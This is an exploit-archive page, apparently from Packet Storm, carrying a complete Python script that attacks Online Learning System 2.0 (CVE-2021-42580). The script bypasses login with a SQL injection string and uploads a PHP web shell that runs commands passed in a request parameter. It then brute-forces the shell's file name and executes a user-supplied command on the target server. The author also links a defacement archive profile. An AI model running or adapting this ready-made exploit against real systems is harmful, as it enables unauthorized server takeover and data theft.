exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online Learning System 2.0 Remote Code Execution

Online Learning System 2.0 Remote Code Execution
Posted Nov 16, 2021
Authored by djebbaranon

Online Learning System version 2.0 remote code execution exploit that leverages SQL injection, authentication bypass, and file upload vulnerabilities.

tags | exploit, remote, vulnerability, code execution, sql injection, file upload
advisories | CVE-2021-42580
SHA-256 | e13c0631f420057004b808a4af6435c2db1224089738b4762896aa208c6c4df8

Online Learning System 2.0 Remote Code Execution

Change Mirror Download
# Exploit Title: Online Learning System 2.0 - Remote Code Execution (RCE)
# Date: 15/11/2021
# Exploit Author: djebbaranon
# Vendor Homepage: https://github.com/oretnom23
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/elearning_v2_0.zip
# Version: 2.0
# Tested on: Kali linux / Windows 10
# CVE : CVE-2021-42580

#!/usr/bin/python3
import os
import time
import argparse
import requests
import sys
from colorama import init
from colorama import Fore
from colorama import Back
from colorama import Style
init(autoreset=True)
def banner():
print('''

_____ _ _ _ _ _____ ______ _____ _____
| _ | | (_) | | (_) / __ \ | ___ / __ | ___|
| | | |_ __ | |_ _ __ ___ | | ___ __ _ _ __ _ __ _ _ __ __ _ __ _`' / /' | |_/ | / \| |__
| | | | '_ \| | | '_ \ / _ \ | |/ _ \/ _` | '__| '_ \| | '_ \ / _` | \ \ / / / / | /| | | __|
\ \_/ | | | | | | | | | __/ | | __| (_| | | | | | | | | | | (_| | \ V /./ /___ | |\ \| \__/| |___
\___/|_| |_|_|_|_| |_|\___| |_|\___|\__,_|_| |_| |_|_|_| |_|\__, | \_/ \_____/ \_| \_|\____\____/
__/ |
|___/
Written by djebbaranon
twitter : @dj3bb4ran0n1
zone-h : https://zone-h.org/archive/notifier=djebbaranon
''')
banner()
def my_args():
parser = argparse.ArgumentParser(epilog="Example : python3 -u https://localhost/elearning -r 1000 -c whoami")
parser.add_argument("-u","--url",type=str,required=True,help="url of target")
parser.add_argument("-r","--range",type=int,required=True,help="range for bruteforce the webshell name")
parser.add_argument("-c","--command",type=str,required=True,help="command to execute")
my_arguments = parser.parse_args()
return my_arguments
def login_with_sqli_login_bypass(user,passw):
global session
global url
global cookies
url = my_args().url
session = requests.Session()
data = {
"username" : user,
"password" : passw,
}
try:
response = session.post(url + "/classes/Login.php?f=login",data=data,verify=False)
print( Fore.GREEN + "[+] Logged in succsusfully")
cookies = response.cookies.get_dict()
print("[+] your cookie : ")
except requests.HTTPError as exception:
print(Fore.RED + "[-] HTTP Error : {}".format(exception))
sys.exit(1)
login_with_sqli_login_bypass("' or 1=1 -- -","' or 1=1 -- -")
def main(shell_name,renamed_shell):
try:
payload ={
"id" : "",
"faculty_id" : "test",
"firstname" : "test",
"lastname" : "test",
"middlename" : "fsdfsd",
"dob" : "2021-10-29",
"gender": "Male",
"department_id" : "1",
"email" : "zebi@gmail.com",
"contact" : "zebii",
"address" : "zebii",
}
files = {
"img" :
(
shell_name,
"<?php echo \"<pre><h1>nikmok</h1>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"?>",
"application/octet-stream",
)
}
vunlerable_file = "/classes/Master.php?f=save_faculty"
print("[*] Trying to upload webshell ....")
response_2 = session.post(url + vunlerable_file,data=payload,cookies=cookies,files=files)
print("[+] trying to bruteforce the webshell ....")
rangee = my_args().range
for i in range(0,rangee):
try:
with requests.get(url + "/uploads/Favatar_" + str(i) + ".php?cmd=whoami",allow_redirects=False) as response3:
if "nikmok" in response3.text and response3.status_code == 200:
print("\n" + Fore.GREEN + "[+] shell found : " + response3.url +"\n")
break
with open("shell.txt",mode="w+") as writer:
writer.write(response3.url)
else:
print( Fore.RED + "[-] shell not found : " + response3.url)
except requests.HTTPError as exception2:
print("[-] HTTP Error : {0} ".format(exception2))
except requests.HTTPError as error:
print("[-] HTTP Error : ".format(error))
command = my_args().command
with requests.get(response3.url.replace("whoami",command)) as response4:
print("[*] Executing {} ....".format(command))
time.sleep(3)
print("\n" + Style.BRIGHT + Fore.GREEN + response4.text)
main("hackerman.php","")

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close